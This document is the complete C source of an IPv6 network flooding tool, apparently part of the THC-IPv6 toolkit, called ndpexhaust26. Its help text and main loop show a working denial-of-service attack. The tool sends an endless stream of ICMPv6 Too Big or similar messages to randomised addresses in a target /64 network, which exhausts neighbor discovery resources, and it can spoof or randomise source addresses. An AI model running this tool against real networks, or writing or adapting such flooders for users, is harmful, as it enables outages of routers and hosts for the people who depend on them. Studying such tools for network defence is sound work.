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ndpexhaust26.c
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ndpexhaust26.c
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-acpPTUrRm] [-s sourceip6] interface target-network\n\n",
prg);
printf("Options:\n");
printf(" -a add a hop-by-hop header with router alert\n");
printf(" -c do not calculate the checksum to save time\n");
printf(" -p send ICMPv6 Echo Requests\n");
printf(" -P send ICMPv6 Echo Reply\n");
printf(" -T send ICMPv6 Time-to-live-exeeded\n");
printf(" -U send ICMPv6 Unreachable (no route)\n");
printf(" -r randomize the source from your /64 prefix\n");
printf(" -R randomize the source fully\n");
printf(" -m generate a maximum size packet\n");
printf(" -s sourceip6 use this as source IPv6 address\n");
printf("\nFlood the target /64 network with ICMPv6 TooBig error messages.\n");
printf("This tool version is manyfold more effective than ndpexhaust6.\n");
exit(-1);
}
#define IDS_STRING 0xbebacefa
int main(int argc, char *argv[]) {
char * interface, *ptr, buf2[8];
unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL;
int i, offset = 14, type = ICMP6_TOOBIG, alert = 0, randsrc = 0, do_crc = 1,
maxsize = 160;
unsigned char *pkt = NULL, ip6[8];
int pkt_len = 0, count = 0;
thc_ipv6_hdr * hdr;
unsigned int filler = IDS_STRING, mychecksum;
unsigned char offender[1452] = {
0x60, 0x00, 0x00, 0x00, 0x01, 0xcd, 0x3a, 0x3f, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x20, 0x03, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04,
0x00, 0x04, 0x00, 0x04, 0x80, 0x00, 0xed, 0xc5, 0xfa, 0xce, 0xba, 0xbe,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41};
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while ((i = getopt(argc, argv, "acpPTUrRs:m")) >= 0) {
switch (i) {
case 'a':
alert = 8;
break;
case 'c':
do_crc = 0;
break;
case 'm':
maxsize = -1;
break;
case 'p':
type = ICMP6_ECHOREQUEST;
break;
case 'P':
type = ICMP6_ECHOREPLY;
break;
case 'T':
type = ICMP6_TTLEXEED;
break;
case 'U':
type = ICMP6_UNREACH;
break;
case 'r':
randsrc = 8;
break;
case 'R':
randsrc = 1;
break;
case 's':
src = thc_resolve6(optarg);
break;
default:
fprintf(stderr, "Error: unknown option -%c\n", i);
exit(-1);
}
}
if (argc - optind < 2) help(argv[0]);
interface = argv[optind];
if ((ptr = index(argv[optind + 1], '/')) != NULL) *ptr = 0;
if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]);
exit(-1);
}
if ((srcmac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (src == NULL)
if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL ||
(src[0] == 0xfe && src[1] == 0x80)) {
fprintf(stderr,
"Error: no global IPv6 address configured on interface %s\n",
interface);
exit(-1);
}
if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) {
fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]);
exit(-1);
}
if (maxsize == -1) maxsize = thc_get_mtu(interface) - 48 - alert;
if (maxsize > sizeof(offender)) maxsize = sizeof(offender);
for (i = 0; i < ((sizeof(offender) - 48) / 4); i++)
memcpy(offender + 48 + i * 4, (char *)&filler + _TAKE4, 4);
memcpy(offender + 8, dst, 16);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src,
dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (alert) {
memset(buf2, 0, sizeof(buf2));
buf2[0] = 5;
buf2[1] = 2;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, type, 0, 1280, offender, maxsize, 0) < 0)
return -1;
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1;
hdr = (thc_ipv6_hdr *)pkt;
if (do_hdr_size) offset = do_hdr_size;
printf(
"Starting to flood target network with toobig %s (Press Control-C to "
"end, a dot is printed for every 1000 packets):\n",
interface);
while (1) {
for (i = 4; i < 8; i++)
ip6[i] = rand() % 256;
memcpy(hdr->pkt + offset + 32 + 4, ip6 + 4, 4);
memcpy(hdr->pkt + offset + 40 + 8 + 8 + 8 + 4 + alert, ip6 + 4, 4);
if (randsrc) {
for (i = randsrc; i < 16; i++)
hdr->pkt[offset + 8 + i] = rand() % 256;
}
if (do_crc) {
hdr->pkt[offset + 42 + alert] = 0;
hdr->pkt[offset + 43 + alert] = 0;
mychecksum = checksum_pseudo_header(
hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6,
hdr->pkt + offset + 40 + alert, pkt_len - offset - 40 - alert);
hdr->pkt[offset + 42 + alert] = mychecksum / 256;
hdr->pkt[offset + 43 + alert] = mychecksum % 256;
}
while (thc_send_pkt(interface, pkt, &pkt_len) < 0)
usleep(1);
count++;
if (count % 1000 == 0) printf(".");
}
return 0;
}